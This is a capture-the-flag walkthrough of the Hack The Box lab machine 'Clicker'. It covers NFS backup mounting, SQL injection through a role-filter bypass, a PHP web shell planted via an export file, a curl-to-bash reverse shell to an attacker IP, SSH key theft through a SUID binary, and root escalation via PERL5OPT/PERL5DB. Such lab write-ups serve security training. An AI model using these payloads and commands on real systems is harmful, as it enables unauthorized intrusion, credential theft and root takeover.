Skip to main content
  1. Posts/

Clicker - HTB

·13 mins
htb
Table of Contents

Enumeration
#

We can get started with a port scan:

╰─ nmap -sC -sV 10.129.170.10              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 20:26 EDT
Nmap scan report for 10.129.170.10
Host is up (0.030s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35824/udp6  mountd
|   100005  1,2,3      36206/udp   mountd
|   100005  1,2,3      47079/tcp6  mountd
|   100005  1,2,3      60817/tcp   mountd
|   100021  1,3,4      33203/tcp6  nlockmgr
|   100021  1,3,4      34675/tcp   nlockmgr
|   100021  1,3,4      40913/udp   nlockmgr
|   100021  1,3,4      41027/udp6  nlockmgr
|   100024  1          36681/tcp   status
|   100024  1          37859/tcp6  status
|   100024  1          40128/udp   status
|   100024  1          54239/udp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds

We see SSH, an HTTP server, something that appears to me Portmapper, and some kind of file share on port 2049.

Let’s start by adding clicker.htb to our hosts file and looking at the site:

clicker1

We can register an account and play the game it has for us, it is a simple cookie-clicker type game:

clicker2

I am not too sure what to do here and figure it might be smart to go enumerate the file shares from earlier.

Thankfully Hacktricks has a good guide on pentesting port 2049 and we can try to see if we are allowed to mount any folders from the share:

╰─ showmount -e clicker.htb                   
Export list for clicker.htb:
/mnt/backups *

It looks like we can mount the files in the /mnt/backups directory, so elet’s give it a try and see what is there:

╰─ sudo mount -t nfs 10.129.170.10:/mnt/backups backup-nfs -o nolock

╰─ ls -lah backup-nfs          
total 2.2M
drwxr-xr-x 2 nobody nogroup 4.0K Sep  5 15:19 .
drwxr-xr-x 3 kali   kali    4.0K Sep 24 21:06 ..
-rw-r--r-- 1 root   root    2.2M Sep  1 16:27 clicker.htb_backup.zip

The share has a zip file, so we can move it out of the folder we mounted and unzip it:

╰─ ls -lh 
total 64K
-rw-r--r-- 1 kali kali 3.9K Sep  1 16:18 admin.php
drwxr-xr-x 4 kali kali 4.0K Feb 28  2023 assets
-rw-r--r-- 1 kali kali  608 Sep  1 16:17 authenticate.php
-rw-r--r-- 1 kali kali  541 Sep  1 16:17 create_player.php
-rw-r--r-- 1 kali kali 2.5K Sep  1 16:18 db_utils.php
-rw-r--r-- 1 kali kali 1.4K Sep  1 16:18 diagnostic.php
-rw-r--r-- 1 kali kali 2.0K Sep  1 16:18 export.php
drwxr-xr-x 2 kali kali 4.0K Sep  1 16:18 exports
-rw-r--r-- 1 kali kali 3.8K Sep  1 16:18 index.php
-rw-r--r-- 1 kali kali 3.4K Sep  1 16:18 info.php
-rw-r--r-- 1 kali kali 3.3K Sep  1 16:18 login.php
-rw-r--r-- 1 kali kali   74 Sep  1 16:17 logout.php
-rw-r--r-- 1 kali kali 3.3K Sep  1 16:17 play.php
-rw-r--r-- 1 kali kali 3.0K Sep  1 16:17 profile.php
-rw-r--r-- 1 kali kali 3.3K Sep  1 16:18 register.php
-rw-r--r-- 1 kali kali  563 Sep  1 16:18 save_game.php

The exports directory is empty and assets contains information we would expect like images and animations.

Reversing the Authentication
#

The login.php file is uninteresting but points us over to authenticate.php, which references roles and nicknames that we hadn’t seen before when making an account.

If we look into admin.php we see use of this role variable and see it assigned to a session:

<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}
?>
---SNIP---

We also see references to an administration portal in this file and even more about a leaderboard of sorts that calls out to the export.php file. It seems like this leaderboard can be exported at some point.

There is another file called diagnostic.php that seems to have an additional check that will determine if we can access certain resources:

---SNIP---
if (isset($_GET["token"])) {
    if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
        header("HTTP/1.1 401 Unauthorized");
        exit;
	}
}
---SNIP---

Looking further into save_game.php we see the following:

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}
?>

Among other things , this checks if any of the other parameters have the $key value role, and flags it as malicious activity.

If this is not triggered, the save_profile function from db_utils.php is called:

---SNIP---
function save_profile($player, $args) {
	global $pdo;
  	$params = ["player"=>$player];
	$setStr = "";
  	foreach ($args as $key => $value) {
    		$setStr .= $key . "=" . $pdo->quote($value) . ",";
	}
  	$setStr = rtrim($setStr, ",");
  	$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  	$stmt -> execute($params);
}
---SNIP---

This function defines how a user’s information gets changed by making an UPDATE query for an SQL database.

Let’s see what our request looks like when we save our game:

clicker3

Here is the thing, the php code will take the arguments clicks and level and reply accordingly if they were saved correctly:

clicker4

But, if we even include a reference to role, we will get flagged:

clicker5

Following the redirect…

clicker6

The issue is that the input passed into save_game.php, where the only sanitization or transformation is transforming our input with strtolower() to check if we are trying to change the role.

If we URL-encode our role, we might not have any issues:

clicker7

Following the redirect…

clicker8

Sweet, now we can see if we can inject data into the query. The SQL query from db_utils.php looks like this:

UPDATE players SET $setStr WHERE username = :player

Because we can pass through role if we URL encode the text, we might be able to change our role to Admin like this:

UPDATE players SET role="Admin"# WHERE username = :player

The # character is the comment character in MySQL, and we know this is a MySQL database because of the details at the beginning of db_utils.php.

So, let’s URL encode this and try to pass it through:

clicker9

Following the redirect…

clicker10

Once we forward these requests, we can log out and log back in to observe that we upgraded our role to administrator:

clicker11

Remote Code Execution via Export Functionality
#

Now that we have access to the admin page, let’s look further into the functionality of export.php, which is restricted to users with the admin role:

<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}

function random_string($length) {
    $key = '';
    $keys = array_merge(range(0, 9), range('a', 'z'));

    for ($i = 0; $i < $length; $i++) {
        $key .= $keys[array_rand($keys)];
    }

    return $key;
}

$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
    $threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
    $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
    foreach ($data as $player) {
    $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
  }
} elseif ($_POST["extension"] == "json") {
  $s .= json_encode($currentplayer);
  $s .= json_encode($data);
} else {
  $s .= '<table>';
  $s .= '<thead>';
  $s .= '  <tr>';
  $s .= '    <th scope="col">Nickname</th>';
  $s .= '    <th scope="col">Clicks</th>';
  $s .= '    <th scope="col">Level</th>';
  $s .= '  </tr>';
  $s .= '</thead>';
  $s .= '<tbody>';
  $s .= '  <tr>';
  $s .= '    <th scope="row">' . $currentplayer["nickname"] . '</th>';
  $s .= '    <td>' . $currentplayer["clicks"] . '</td>';
  $s .= '    <td>' . $currentplayer["level"] . '</td>';
  $s .= '  </tr>';

  foreach ($data as $player) {
    $s .= '  <tr>';
    $s .= '    <th scope="row">' . $player["nickname"] . '</th>';
    $s .= '    <td>' . $player["clicks"] . '</td>'; 
    $s .= '    <td>' . $player["level"] . '</td>';
    $s .= '  </tr>';
  }
  $s .= '</tbody>';
  $s .= '</table>';
} 

$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>

This page allows administrators to export the list of player data in different formats. The issue lies with some of the quirks present here:

  • The extension input is not sanitized and can be changed by the user
  • The export is saved to a location that we can view and will render the nickname of the user on the leaderboard.

So, we can modify our nickname to include a PHP command execution payload then make a POST request to the export.php endpoint to clarify the use of a php extension.

Let’s first change our nickname to include our PHP command injection payload:

%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%22%23

URL Decoded:

<?php system($_GET['cmd']) ?>

Let’s change our nickname:

clicker12

Following the redirect…

clicker13

Now, we can send a POST request to export this content with the php extension:

clicker14

Then, we can navigate to the path it gives us and execute commands:

clicker15

Then we can make a shell.sh file that we can serve to the target machine with an HTTP server.

Here is our shell.sh file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.187/1337 0>&1

We start our python HTTP server in the same directory and open a listener on our specified port:

╰─ python3 -m http.server 8000     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

╰─ nc -lvp 1337 
listening on [any] 1337 ...

Then, we send this payload via the URL on the web application:

http://clicker.htb/exports/top_players_ilocdngs.php?cmd=curl%20http://10.10.14.187:8000/shell.sh%20|%20bash

Then, we see that the web server grabs our shell and executes it:

╰─ python3 -m http.server 8000     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.170.10 - - [24/Sep/2023 23:27:27] "GET /shell.sh HTTP/1.1" 200 -

╰─ nc -lvp 1337 
listening on [any] 1337 ...
connect to [10.10.14.187] from clicker.htb [10.129.170.10] 43784
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ 

Now let’s try to get our user flag.

Getting a User - Reversing a Binary
#

We can find a user called jack in the /home directory. We can look for files he owns like this:

www-data@clicker:/home$ find / -user jack 2> /dev/null

/home/jack
/var/crash/_opt_manage_execute_query.1000.crash
/opt/manage
/opt/manage/README.txt
/opt/manage/execute_query

We see some files in /opt/manage, so we can move over there and take a closer look:

www-data@clicker:/opt/manage$ ls -lh

total 20K
-rw-rw-r-- 1 jack jack 256 Jul 21 22:29 README.txt
-rwsrwsr-x 1 jack jack 16K Feb 26  2023 execute_query

Let’s download these and examine them. We can tell how the binary needs to be used from the README.txt file:

╰─ cat README.txt 
Web application Management

Use the binary to execute the following task:
	- 1: Creates the database structure and adds user admin
	- 2: Creates fake players (better not tell anyone)
	- 3: Resets the admin password
	- 4: Deletes all users except the admin

You can throw the binary into a decompiler like ghidra or IDA, I opted to use dogbolt in my browser and take a look:

---SNIP---
  }
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  size_t v4; // rbx
  size_t v5; // rax
  size_t v6; // rbx
  size_t v7; // rax
  int v8; // [rsp+10h] [rbp-B0h]
  char *dest; // [rsp+18h] [rbp-A8h]
  char *name; // [rsp+20h] [rbp-A0h]
  char *command; // [rsp+28h] [rbp-98h]
  char s[32]; // [rsp+30h] [rbp-90h] BYREF
  char src[88]; // [rsp+50h] [rbp-70h] BYREF
  unsigned __int64 v14; // [rsp+A8h] [rbp-18h]

  v14 = __readfsqword(0x28u);
  if ( argc > 1 )
  {
    v8 = atoi(argv[1]);
    dest = (char *)calloc(0x14uLL, 1uLL);
    switch ( v8 )
    {
      case 0:
        puts("ERROR: Invalid arguments");
        return 2;
      case 1:
        strncpy(dest, "create.sql", 0x14uLL);
        goto LABEL_10;
      case 2:
        strncpy(dest, "populate.sql", 0x14uLL);
        goto LABEL_10;
      case 3:
        strncpy(dest, "reset_password.sql", 0x14uLL);
        goto LABEL_10;
      case 4:
        strncpy(dest, "clean.sql", 0x14uLL);
        goto LABEL_10;
      default:
        strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
        strcpy(s, "/home/jack/queries/");
        v4 = strlen(s);
        v5 = strlen(dest);
        name = (char *)calloc(v4 + v5 + 1, 1uLL);
        strcat(name, s);
        strcat(name, dest);
        setreuid(0x3E8u, 0x3E8u);
        if ( access(name, 4) )
        {
          puts("File not readable or not found");
        }
        else
        {
          strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
          v6 = strlen(src);
          v7 = strlen(dest);
          command = (char *)calloc(v6 + v7 + 1, 1uLL);
          strcat(command, src);
          strcat(command, name);
          system(command);
        }
        result = 0;
        break;
    }
  }
---SNIP---

It looks like there are switch cases to use each of the arguments, and a few more lines that indicate that file contents are being read out. We can go ahead and run it on our system and see what happens:

╰─ ./execute_query 1
File not readable or not found

So, we know it is looking for some kind of file to read info from when “creating the database structure” so let’s look and see if there are any file paths in the binary itself:

╰─ strings execute_query
---SNIP---
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
---SNIP---

After cleaning up this text we see:

/home/jack/queries

/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < 

It looks like the fifth case of the main function will just take an argument for the file path. Let’s try it out on the target machine:

www-data@clicker:/opt/manage$ ./execute_query 5 ../

mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR: Can't initialize batch_readline - may be the input source is a directory or a block device.

Interesting, it looks like it tried to read the file contents but failed because we didn’t specify a file. Let’s see if it can read something like an SSH key from the jack user’s home folder.

Keep in mind that it should be reading queries in /home/jack/queries, so we need to navigate from there like this:

www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa

mysql: [Warning] Using a password on the command line interface can be insecure.
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2g
---SNIP---

Nice, let’s clean up the private key and log in as jack on the target machine:

╰─ ssh -i id_rsa jack@clicker.htb
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
---SNIP---
jack@clicker:~$ ls
queries  user.txt

Privilege Escalation
#

Let’s see what we can do with sudo now that we are here:

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

Let’s check out monitor.sh:

#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

It looks like all the file paths are explicit, so we won’t be able to hijack anything here which is unfortunate. But we so see PERL5LIB and PERLLIB getting unset which is strange.

After googling around for some information on environment variables and local privilege escalation with PERLLIB, I found a really useful gitbook.

It describes how the PERL5DB command can be used to load debugger code, but it is only used when Perl is started with a bare -d switch. We can load the debugger module by using PERL5OPT=-d.

We can use these two techniques together to execute commands like this:

PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null

Let’s just try this with /opt/monitor.sh:

jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("whoami");' /opt/monitor.sh 
root
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.

Looks like it worked, let’s make bash a SUID program and switch over to root:

jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh 
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.

jack@clicker:~$ ls -lh /bin/bash
-rwsr-xr-x 1 root root 1.4M Jan  6  2022 /bin/bash

jack@clicker:~$ /bin/bash -p
bash-5.1# 

Related

Pilgrimage - HTB
·10 mins
htb
Enumeration # As always, we can begin with a port scan using nmap:
Topology - HTB
·6 mins
htb
Enumeration # As always, we begin with a port scan: ╰─ nmap -sC -sV 10.
CozyHosting - HTB
·5 mins
htb
We can begin with a port scan as usual: ╰─ nmap -sC -sV 10.